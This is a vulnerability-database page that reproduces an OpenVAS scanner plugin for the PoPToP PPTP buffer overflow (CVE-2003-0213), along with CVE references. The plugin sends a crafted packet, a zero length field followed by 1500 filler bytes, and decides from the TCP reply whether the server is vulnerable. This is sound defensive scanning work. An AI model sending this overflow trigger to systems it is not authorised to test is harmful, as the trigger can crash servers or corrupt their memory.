PPTP Server Buffer Overflow Vulnerability
🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2003 Xue Yong ZhiType
openvas🔗 plugins.openvas.org👁 42 Views
| Reporter | Title | Published | Views | Family All 27 |
|---|---|---|---|---|
| CAN-2003-0213 | 6 Aug 202410:37 | – | cve | |
| CVE-2003-0213 | 26 Apr 200304:00 | – | cve | |
| CVE-2003-0213 | 23 Nov 201000:00 | – | circl | |
| PoPToP PPTP Negative Read Overflow Buffer Overflow - Ver2 (CVE-2003-0213) | 16 Apr 201400:00 | – | checkpoint_advisories | |
| CVE-2003-0213 | 26 Apr 200304:00 | – | cvelist | |
| [SECURITY] [DSA 295-1] New pptpd packages fix remote root exploit | 30 Apr 200307:43 | – | debian | |
| [SECURITY] [DSA 295-1] New pptpd packages fix remote root exploit | 30 Apr 200307:43 | – | debian | |
| CVE-2003-0213 | 26 Apr 200304:00 | – | debiancve | |
| Debian DSA-295-1 : pptpd - buffer overflow | 29 Sep 200400:00 | – | nessus | |
| PoPToP PPTP ctrlpacket.c Negative Read Remote Overflow | 16 Apr 200300:00 | – | nessus |
10
| Source | Link |
|---|---|
| securityfocus | www.securityfocus.com/bid/7316 |
# SPDX-FileCopyrightText: 2003 Xue Yong Zhi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.11540");
script_version("2023-08-01T13:29:10+0000");
script_tag(name:"last_modification", value:"2023-08-01 13:29:10 +0000 (Tue, 01 Aug 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_name("PPTP Server Buffer Overflow Vulnerability");
script_cve_id("CVE-2003-0213");
script_category(ACT_ATTACK);
script_family("Gain a shell remotely");
script_copyright("Copyright (C) 2003 Xue Yong Zhi");
script_dependencies("pptp_detect.nasl");
script_require_ports("Services/pptp", 1723);
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/7316");
script_tag(name:"summary", value:"The remote PPTP server is prone to a remote buffer overflow
vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted TCP request and checks the response.");
script_tag(name:"insight", value:"The problem occurs due to insufficient sanity checks when
referencing user-supplied input used in various calculations. As a result, it may be possible for
an attacker to trigger a condition where sensitive memory can be corrupted.");
script_tag(name:"impact", value:"Successful exploitation of this issue may allow an attacker to
execute arbitrary code with the privileges of the affected server.");
script_tag(name:"solution", value:"The vendor has released updated releases of PPTP server which
address this issue. Users are advised to upgrade as soon as possible.");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("misc_func.inc");
include("byte_func.inc");
include("port_service_func.inc");
port = service_get_port(default:1723, proto:"pptp");
if(!soc = open_sock_tcp(port))
exit(0);
set_byte_order(BYTE_ORDER_BIG_ENDIAN);
pptp_head = mkword(1) + # Message Type
mkdword(0x1a2b3c4d) + # Cookie
mkword(1) + # Control type (Start-Control-Connection-Request)
mkword(0) + # Reserved
mkword(0x0100) + # Protocol Version (1.0)
mkword(0) + # Reserved
mkdword(1) + # Framing Capabilities
mkdword(1) + # Bearer capabilities
mkword(0); # Maximum channels
pptp_vendor = mkword(2320) + # Firmware revision (arbitrary number)
mkpad(64) + # Hostname
mkpad(64); # Vendor
buffer = mkword(strlen(pptp_head) + strlen(pptp_vendor) + 2) + pptp_head + pptp_vendor;
send(socket:soc, data:buffer);
r = recv(socket:soc, length:2);
if(!r || strlen(r) != 2) {
close(soc);
exit(0);
}
l = getword(blob:r, pos:0);
r += recv(socket:soc, length:l - 2, min:l - 2);
close(soc);
if(strlen(r) != l)
exit(0);
if(strlen(r) < strlen(pptp_head) + strlen(pptp_vendor))
exit(0);
cookie = getdword(blob:r, pos:4);
if(cookie != 0x1a2b3c4d)
exit(0);
soc = open_sock_tcp(port);
if(!soc)
exit(0);
send(socket:soc, data:buffer);
rec_buffer = recv(socket:soc, length:156);
close(soc);
if("linux" >!< rec_buffer)
exit(0);
buffer = raw_string(0x00, 0x00) + # Length = 0
crap(length:1500, data:'A'); # Random data
if(!soc = open_sock_tcp(port))
exit(0);
send(socket:soc, data:buffer);
# Patched pptp server will return RST(will not read bad data),
# unpatched will return FIN(read all the bad data and be overflowed).
filter = string("tcp and src host ", get_host_ip(), " and dst host ", this_host(), " and src port ", port, " and dst port ", get_source_port(soc), " and tcp[13:1]&1!=0");
for(i = 0; i < 5; i++) {
r = pcap_next(pcap_filter:filter, timeout:2);
if(r) {
close(soc);
security_message(port:port);
exit(0);
}
}
close(soc);
exit(99);Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Aug 2023 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 27.5
EPSS0.70935